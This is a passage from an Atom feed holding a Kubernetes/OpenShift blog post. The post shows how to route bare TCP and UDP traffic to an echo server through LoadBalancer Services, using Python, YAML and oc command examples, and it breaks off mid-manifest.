		<content type="html"></content>
		<author>
			<name>Nathaniel McCallum</name>
			<uri>https://npmccallum.gitlab.io/</uri>
		</author>
		<source>
			<title type="html">Nathaniel McCallum</title>
			<subtitle type="html">Recent content on Nathaniel McCallum</subtitle>
			<link rel="self" href="https://npmccallum.gitlab.io/index.xml"/>
			<id>https://npmccallum.gitlab.io/index.xml</id>
			<updated>2026-05-10T07:28:30+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Bare TCP and UDP ingress on Kubernetes</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2021-11-18-k8s-tcp-udp-ingress.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2021-11-18-k8s-tcp-udp-ingress.html</id>
		<updated>2021-11-18T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;bare-tcp-and-udp-ingress-on-kubernetes&quot;&gt;Bare TCP and UDP ingress on Kubernetes&lt;/h1&gt;
&lt;p&gt;Kubernetes and OpenShift have good solutions for routing HTTP/HTTPS
traffic to the right applications. But for ingress of bare TCP
(that is, not HTTP(S) or TLS with SNI) or UDP traffic, the situation
is more complicated. In this post I demonstrate how to use
&lt;code&gt;LoadBalancer&lt;/code&gt; Service objects to route bare TCP and UDP traffic to
your Kubernetes applications.&lt;/p&gt;
&lt;h2 id=&quot;example-service&quot;&gt;Example service &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#example-service&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;For testing purposes I wrote a basic echo server. It listens on
both TCP and UDP port 12345, and merely upper-cases and returns the
data it receives:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb1&quot;&gt;&lt;pre class=&quot;sourceCode python&quot;&gt;&lt;code class=&quot;sourceCode python&quot;&gt;&lt;span id=&quot;cb1-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;im&quot;&gt;import&lt;/span&gt; socketserver&lt;/span&gt;
&lt;span id=&quot;cb1-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;im&quot;&gt;import&lt;/span&gt; threading&lt;/span&gt;
&lt;span id=&quot;cb1-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;def&lt;/span&gt; serve_tcp():&lt;/span&gt;
&lt;span id=&quot;cb1-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;kw&quot;&gt;class&lt;/span&gt; Handler(socketserver.StreamRequestHandler):&lt;/span&gt;
&lt;span id=&quot;cb1-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;        &lt;span class=&quot;kw&quot;&gt;def&lt;/span&gt; handle(&lt;span class=&quot;va&quot;&gt;self&lt;/span&gt;):&lt;/span&gt;
&lt;span id=&quot;cb1-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;            &lt;span class=&quot;cf&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;va&quot;&gt;True&lt;/span&gt;:&lt;/span&gt;
&lt;span id=&quot;cb1-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;                data &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;va&quot;&gt;self&lt;/span&gt;.rfile.readline()&lt;/span&gt;
&lt;span id=&quot;cb1-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;                &lt;span class=&quot;cf&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;kw&quot;&gt;not&lt;/span&gt; data:&lt;/span&gt;
&lt;span id=&quot;cb1-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;                    &lt;span class=&quot;cf&quot;&gt;break&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;                &lt;span class=&quot;va&quot;&gt;self&lt;/span&gt;.wfile.write(data.upper())&lt;/span&gt;
&lt;span id=&quot;cb1-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;cf&quot;&gt;with&lt;/span&gt; socketserver.TCPServer((&lt;span class=&quot;st&quot;&gt;''&lt;/span&gt;, &lt;span class=&quot;dv&quot;&gt;12345&lt;/span&gt;), Handler) &lt;span class=&quot;im&quot;&gt;as&lt;/span&gt; server:&lt;/span&gt;
&lt;span id=&quot;cb1-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;        server.serve_forever()&lt;/span&gt;
&lt;span id=&quot;cb1-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-16&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-16&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;def&lt;/span&gt; serve_udp():&lt;/span&gt;
&lt;span id=&quot;cb1-17&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-17&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;kw&quot;&gt;class&lt;/span&gt; Handler(socketserver.DatagramRequestHandler):&lt;/span&gt;
&lt;span id=&quot;cb1-18&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-18&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;        &lt;span class=&quot;kw&quot;&gt;def&lt;/span&gt; handle(&lt;span class=&quot;va&quot;&gt;self&lt;/span&gt;):&lt;/span&gt;
&lt;span id=&quot;cb1-19&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-19&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;            &lt;span class=&quot;va&quot;&gt;self&lt;/span&gt;.wfile.write(&lt;span class=&quot;va&quot;&gt;self&lt;/span&gt;.rfile.read().upper())&lt;/span&gt;
&lt;span id=&quot;cb1-20&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-20&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-21&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-21&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    &lt;span class=&quot;cf&quot;&gt;with&lt;/span&gt; socketserver.UDPServer((&lt;span class=&quot;st&quot;&gt;''&lt;/span&gt;, &lt;span class=&quot;dv&quot;&gt;12345&lt;/span&gt;), Handler) &lt;span class=&quot;im&quot;&gt;as&lt;/span&gt; server:&lt;/span&gt;
&lt;span id=&quot;cb1-22&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-22&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;        server.serve_forever()&lt;/span&gt;
&lt;span id=&quot;cb1-23&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-23&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id=&quot;cb1-24&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-24&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;cf&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;va&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;:&lt;/span&gt;
&lt;span id=&quot;cb1-25&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-25&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    threading.Thread(target&lt;span class=&quot;op&quot;&gt;=&lt;/span&gt;serve_tcp).start()&lt;/span&gt;
&lt;span id=&quot;cb1-26&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb1-26&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;    threading.Thread(target&lt;span class=&quot;op&quot;&gt;=&lt;/span&gt;serve_udp).start()&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;Containerfile&lt;/code&gt; adds this program to the official Fedora 35
container and declares the entry point:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb2&quot;&gt;&lt;pre class=&quot;sourceCode dockerfile&quot;&gt;&lt;code class=&quot;sourceCode dockerfile&quot;&gt;&lt;span id=&quot;cb2-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;FROM&lt;/span&gt; fedora:35-x86_64&lt;/span&gt;
&lt;span id=&quot;cb2-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;COPY&lt;/span&gt; echo.py .&lt;/span&gt;
&lt;span id=&quot;cb2-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb2-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;kw&quot;&gt;CMD&lt;/span&gt; [ &lt;span class=&quot;st&quot;&gt;&amp;quot;python3&amp;quot;&lt;/span&gt;, &lt;span class=&quot;st&quot;&gt;&amp;quot;echo.py&amp;quot;&lt;/span&gt; ]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I published the container &lt;a href=&quot;https://quay.io/repository/ftweedal/udpecho.&quot;&gt;image on Quay.io&lt;/a&gt;. The Pod spec
references it:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb3&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb3-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Pod&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; server&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; quay.io/ftweedal/udpecho:latest&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I defined a new project namespace &lt;code&gt;echo&lt;/code&gt; and created the Pod:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc new-project echo
Now using project &amp;quot;echo&amp;quot; on server
  &amp;quot;https://api.ci-ln-4ixdypb-72292.origin-ci-int-gce.dev.rhcloud.com:6443&amp;quot;.

…

% oc create -f pod-echo.yaml
pod/echo created&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;create-service-object&quot;&gt;Create Service object &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#create-service-object&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;My application is not talking HTTP, so I can’t use the normal
Ingress or Route facilities to get traffic to my app.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;HTTP and HTTPS traffic includes the &lt;strong&gt;&lt;code&gt;Host&lt;/code&gt;&lt;/strong&gt; header, which the
ingress system can inspect to route requests to a particular Pod.
Similarly, TLS with the &lt;strong&gt;&lt;em&gt;Server Name (SNI)&lt;/em&gt;&lt;/strong&gt; extension allows TLS
traffic to be routed to a particular Pod (the Pod will perform the
handshake). Neither approach works for UDP packets or “bare” TCP
connections.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Therefore, I define a &lt;code&gt;LoadBalancer&lt;/code&gt; Service. The service
controller will ask the cloud provider to create a load balancer
that routes external traffic into the cluster. For example, on AWS
it will (by default) create an ELB (&lt;em&gt;Elastic Load Balancer&lt;/em&gt;)
instance.&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb5&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb5-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Service&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; LoadBalancer&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;selector&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; tcpecho&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; TCP&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dv&quot;&gt;12345&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; udpecho&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; UDP&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb5-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb5-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dv&quot;&gt;12345&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;OK, let’s create the Service:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f service-echo.yaml 
The Service &amp;quot;echo&amp;quot; is invalid: spec.ports: Invalid value:
[]core.ServicePort{core.ServicePort{Name:&amp;quot;tcpecho&amp;quot;, Protocol:&amp;quot;TCP&amp;quot;,
AppProtocol:(*string)(nil), Port:12345,
TargetPort:intstr.IntOrString{Type:0, IntVal:12345, StrVal:&amp;quot;&amp;quot;},
NodePort:0}, core.ServicePort{Name:&amp;quot;udpecho&amp;quot;, Protocol:&amp;quot;UDP&amp;quot;,
AppProtocol:(*string)(nil), Port:12345,
TargetPort:intstr.IntOrString{Type:0, IntVal:12345, StrVal:&amp;quot;&amp;quot;},
NodePort:0}}: may not contain more than 1 protocol when type is
'LoadBalancer'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Well, that’s unfortunate. Kubernetes does not support
&lt;code&gt;LoadBalancer&lt;/code&gt; services with mixed &lt;code&gt;protocol&lt;/code&gt;. &lt;a href=&quot;https://github.com/kubernetes/enhancements/issues/1435&quot;&gt;KEP 1435&lt;/a&gt; is in
progress to address this. It is a gated “alpha” feature &lt;a href=&quot;https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.20.md&quot;&gt;since
Kubernetes 1.20&lt;/a&gt;. Cloud provider support is
currently &lt;a href=&quot;https://github.com/kubernetes/enhancements/issues/1435#issuecomment-969523031&quot;&gt;mixed&lt;/a&gt; but work is ongoing.&lt;/p&gt;
&lt;p&gt;So for now, I have to create separate Service objects for UDP and
TCP ingress. As a consequence, there will be &lt;strong&gt;different public IP
addresses for TCP and UDP&lt;/strong&gt;. Whether this is a problem depends on
the application. Applications that use &lt;code&gt;SRV&lt;/code&gt; records to locate
servers can handle this scenario. Kerberos is such an application
(modern implementations, at least). Applications that use &lt;code&gt;A&lt;/code&gt; or
&lt;code&gt;AAAA&lt;/code&gt; records directly might have problems.&lt;/p&gt;
&lt;p&gt;The other downside is cost. Cloud providers charge money for load
balancer instances. The more you use, the more you pay.&lt;/p&gt;
&lt;p&gt;Below is the definition of my decomposed Service objects:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb7&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb7-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Service&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo-udp&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb7-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb7-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
